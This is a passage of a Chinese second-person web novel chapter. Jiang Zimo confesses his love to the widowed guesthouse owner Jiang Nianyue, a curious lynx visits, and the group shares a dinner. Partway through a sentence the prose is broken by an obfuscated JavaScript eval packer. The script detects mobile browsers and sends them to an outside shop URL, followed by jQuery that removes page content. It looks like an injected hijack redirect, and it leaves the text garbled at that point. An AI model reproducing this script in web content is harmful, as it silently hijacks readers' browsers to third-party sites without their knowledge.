不,何止是察觉?姐姐已经在努力地担任外援的身份,尽她所能托举像榆木疙瘩一样迟钝的你。 涂抹冻伤膏的间歇,你叫住姐姐,问她送杨屹均姜芸芝夫妇什么礼物比较好。 “我从家拿来的绣品,《千里江山图》送给念月了,还有一幅A3大小的《冬日虎啸》。”姐姐询问你的意见,“我没顾上打听杨哥芸姐有没有孩子,或者他们两口子的属相跟老虎合不合……” “雨凝,就送《冬日虎啸》吧!”换好衣服的江念月重又站在了门口,“杨哥芸姐没有孩子,晚上别聊这个话题。都记住啊,吃饭的时候互相提醒。” 姐姐噤了声。 你拧上冻伤膏的盖子,穿好拖鞋端起雪盆。“念月,我有话想跟你说。” “说吧。” “姐,你回避一下可以不?”你把盆里的雪倒进马桶,打开水龙头把盆子里里外外冲洗干净,“我想跟念月单独待一会儿。” “悠悠呢?”姐姐故意难为你,“留它在这里旁听怎么样?” “不行。”你做了个请的手势,“麻烦你带悠悠离开房间,顺手帮我关上门。” 姐姐会意,转身叫上悠悠:“宝贝,跟姨姨出去玩儿!” 江念月感觉到了什么。她喊住姐姐,同时告知注意事项:“雨凝,记得给悠悠穿防水马甲和雪地靴再去雪地里,它的爪垫不能着凉。” 姐姐说:“收到,一定照办!” 门轻轻关上,房间里你和江念月相对而视。 “子墨,你想说的话,我猜到了。”她避开你灼热的凝视,目光投向绣有雨滴图案的落地窗帘,“不要说出来,好吗?我不想连朋友都做不成。” 你双拳垂于身侧,握紧,松开。再握紧,再松开。 沉默许久,你终于开了口:“念月,我喜欢你,不是因为你救了我一命带来的吊桥效应。我很确定,在我问你那两个愚蠢问题之前,我就开始喜欢你了。” 她脸色发白,站不稳似的往后退了一步。 你疾步走到她身旁,抬手托住她的胳膊。她触电般地挣脱,径直退到门边才收住步子。 “子墨,不管怎样,谢谢你超出友谊范围的认可。”她的手搭上门把手,嗓音微微颤抖,“我现在这个年纪,不会投身一段新的感情。这事就此打住,以后你不要再提……” 她话音未落,你已站在离她一步之遥的位置。 “念月,别急着拒绝我。”文采、博学和华丽的辞藻,此刻你将它们全部抛至脑后,“我用时间证明我对你的感情绝不是一时兴起。如果你愿意给我一点时间,我希望你愿意!” 23. 第二十三章 用一个词概括你回避江子墨的处理方式,标准答案应该是夺门而出。 你冲进自己的房间,迅速关门反锁,背靠着门慢慢蹲下来。抱紧膝盖,你脑海中思绪繁杂,像是凌晨时段电视节目全部播完后满屏幕的雪花,耳边只余嘶嘶嘶的电流声。 “小姨……你真的不考虑考虑墨哥?他年龄比你小,但他不在意这些。我跟我妈聊过,她也觉得墨哥人不错。” 罗亦柯返回燕都的前一天对你如是说。 所以,首先遭到你怀疑的“罪魁祸首”是柯倩和罗亦柯母子俩。 WTT冠军赛赛事正酣,你必然不会致电罗亦柯干扰他比赛。今年年初,柯倩跳槽至一家直播平台担任体育部主任,朝九晚十,天天加班,你不可能因为这点私事去找最好的朋友“兴师问罪”。 其实你有感觉。 江子墨离开春夜雨声完成冷极之旅的行程中,一路上几乎天天给你发消息。 从字里行间得知,由于低温天气和身体疲惫,他走得很辛苦,全靠信念支撑。以前,他有棉花糖这位动物挚友,现在,他转移了情感,他把你当成最值得信任的倾诉对象,只想与你分享他没有发布在视频里的内容。 而当他风尘仆仆地回来,你看到他精挑细选送你的那些礼物,心里隐隐有了一种预感。 他要说出不属于朋友之间能说的那些话。 你承认,你和她们姐弟俩非常投缘。江子墨那天出院回来,没头没脑地问你为什么救他,你并不气恼,只觉得他心思单纯,对人不设防。江雨凝仅凭民宿浴袍上的绣花Logo,飞越两千公里来到这里,你由衷地钦佩她的行动力,更欣赏她在非遗传承领域的坚守和贡献。 江子墨主页的年龄是胡乱填写的。你从江雨凝那里打听到,他的实际年龄只有31岁,且生日日期与你是同月仅差三天。 如果按照玄学角度分析,你和他的缘分无论如何也躲不开。 你深知,以你目前的心理状态,接受一份真挚的感情比让你去南方进电子厂连轴转焊电路板还要艰难。 曹磊和迟若南旁敲侧击问过你很多遍,也通过组饭局这种形式向你介绍了不少与你年纪相仿的成功人士。朋友们担心你孤独,担心你没人照顾,可是他们不懂,你从老夏那里得到了足够回味一生的爱。 别的人走不进你的心里。 晚上还要去杨哥芸姐家吃饭,怎么才能不着痕迹地面对江子墨,你一筹莫展。 索性背靠着门席地而坐。 你的目光久久停留在烟紫色纱帘上的雨滴图案。 春夜雨声装修初期,你只为一楼几个房间安装了这款定制的纱帘。当时老夏颅内肿瘤压迫神经,已无法自主行走。入住率低的时候,你带着悠悠出门遛弯,他可以坐着轮椅在一楼每间房“巡视”,算是消除烦闷的好方法了。 老夏嘴上没说拖累你,却在留给你的语音信里多次要求你忘了他。 你忘不了。 对你而言,失去这世界上最好的伴侣,整个世界就变成了一座废墟。 幸好悠悠支撑着你走过这将近二十年的时光。假若悠悠离你而去,你恐怕…… 汪,汪汪! 小家伙回来了。民宿大门外响起它清脆却隐含警惕的叫声。 “念月,子墨,你们快出来看啊,有东北虎到访——” 你连忙起身,随手抄起长年搁在门后的一根铁钎,打开反锁冲了出去。 直到你看清江雨凝所说的“东北虎”,贴身衣物已被冷汗打湿。江子墨挡在你的身前保护你,他手里同样持有防身“武器”,不过那是他从厨房拿的榉木擀面杖。 玻璃门内,悠悠扒着门,喘粗气怒瞪门外的不速之客。江雨凝俯身抚摸悠悠的脑袋,还和它耳语了许多悄悄话。 玻璃门外,一只亚成年猞猁眼中满是好奇。 它看见又有人来,便将视线定格在了你和江子墨身上。 江雨凝回过头,低声问你们:“能分辨出这只东北虎的性别吗?” “姐,你吓唬人不打草稿。”江子墨收起擀面杖,走到门口与猞猁对视,“这是经常去检查站和瞭望塔索要美食的林小六,杨哥他们站点墙上贴着它的照片。” 江雨凝疑惑不解:“你是说它不是老虎?” “它是猞猁!这里的工作人员给它起名林小六,它跟它家族的同胞一样,不怎么怕人,是大兴安岭地区活跃度特别高的欧亚猞猁。至于它的性别,展板上好像写了,我没记住——看它这么调皮,估计是雄性。”江子墨一边科普一边忍不住叹气,“姐,听你说春夜雨声门口来了只东北虎,我吓得冷汗直冒,结果老虎没见着,可爱的猞猁倒是面对面了。” “再亲人它也是野兽啊!”江雨凝显然不同意弟弟的观点。 “雨凝说得对。”你上前,从门口橱柜里取出背包,拿了一袋买给悠悠的牛肉条撕开包装,打开玻璃门上方的透气孔,用力抛向远处。 闻见食物的香气,猞猁先是张望一番,并未立刻跑掉。 你知道,猞猁与狍子对食物的热情完全不同。担任巡山志愿者的这些年,你在路上遇见过幼年猞猁和带崽的母猞猁,它们不会主动凑近人类,虽然在极度饥饿时也会寻求帮助,但大部分情况下,猞猁与人类并不亲近。 “去吃吧!”你朗声提醒,“牛肉条很好吃的。” 江子墨站到你身旁,近得你能感受到他的心跳声:“林小六可能想吃生肉。” 你没说话。 转身去了厨房。 制作午餐化冻的五花肉还剩巴掌大的一块,你从冰箱冷藏室拿出来,用菜刀一分为二,拿到门口先扔出去一块。 这只名叫林小六的猞猁,低头嗅嗅掉落台阶下方的五花肉,伸舌头舔了一口,随即叼进嘴里大嚼特嚼。 嗷——嗷呜—— 悠悠望着远处雪地里的牛肉条,仰头发出哀叹的吠叫。 “别生气,宝贝。”你倍感愧疚,“牛肉条还有好几包呢!待会儿我洗个手拿给你吃。” 林小六咽下嘴里的食物,抬头看向你们。 它轻轻摇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080038|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇尾巴。 短而小的尾巴欢快地左摇右摆,表示它很开心,还想再吃一块肉。 你满足了林小六的需求。 它大快朵颐的速度,比你想象中快得多。当它又一次冲你们摇尾巴索要食物时,江子墨拦住了你。 “念月,你不能再喂了。我给杨站长打电话,让他带人过来,想办法吸引林小六的注意力,把它送到它该去的地方。” 你明白江子墨的好意。 “电话我来打吧。”你说,“我给你找的发圈在大厅茶几抽屉里,你梳梳头,换身衣服。等会儿杨哥来了,咱们跟他一块儿送送小猞猁。” - 好久没吃铁锅炖,你食欲大开,连吃七八块排骨没停筷子。 姜芸芝定睛看了一会儿,等你端起啤酒杯的时候,她赶忙把一盘红烧鱼往你手边推了推。 “小月,尝尝这鱼,松花江里的鳜鱼,老杨好哥们发冷链快递送来的,今年冬捕的抢手货。” 杨屹均笑了:“你跟这儿解说纪录片呢!” 你也笑,搛起一块鱼肉细细品尝。果然很香!说起来,你有二十多年没吃过这么好吃的鱼了。一是被鱼刺卡过喉咙有心理阴影,二是老夏走后你的一日三餐以简单便捷易于烹饪的食材为主,炖鱼吃鱼耗费时间,你已将它清除出你个人的菜单了。 江子墨提醒你:“吃鱼要专心,别笑也别聊天。” 你怔住了。 这一刹那,心像被什么东西击中,你忘了呼吸。铁锅炖排骨的咕嘟声被无限放大,与你耳中清晰可闻的血流声相互应和。 两道声音,震耳欲聋。 江雨凝抬起胳膊,伸手在你眼前晃动两下:“月,你还好吗?是不是被松花江的鳜鱼香迷糊了?” 姜芸芝也有点担心:“没卡住鱼刺吧?” 你回过神,放下手里的筷子,说声对不起,匆匆忙忙离开桌子,走进卫生间反手关了门。 拧开水龙头,冷水可以阻止盈眶的眼泪。 你不停地洗脸,努力不让自己哭出声来。可是泪水和冷水混在一处,你也分不清你哭了多久,抑或是水流了多久。 笃笃笃。 敲门声打断了你的啜泣。 “念月,你没事吧?”偏偏门外是江子墨。 “我没事。”你关掉水龙头,仔细辨别自己鼻音不明显,才继续说,“就是舌头被烫了,漱漱口缓解一下。” 门外的他沉默不语。 过了好一阵,脚步声渐渐远去。你拉开一条门缝,看门口没人,你绷紧的心弦稍稍松弛,开门走了出来。 你还没走回餐厅,江子墨再次出现在面前。 “给你这个。”他手中拿着玉米牛奶味的东北大板,“我跟芸姐要的,她家冰柜存货不多了,明天我去县城,批发两箱子回来,一箱放在春夜雨声,一箱还给芸姐。” 你犹豫着,双手背在了身后。 江子墨察觉到你的不安。他握住雪糕那头,把木棒递给你。“你允许我牵手之前,我保证不碰你的手。”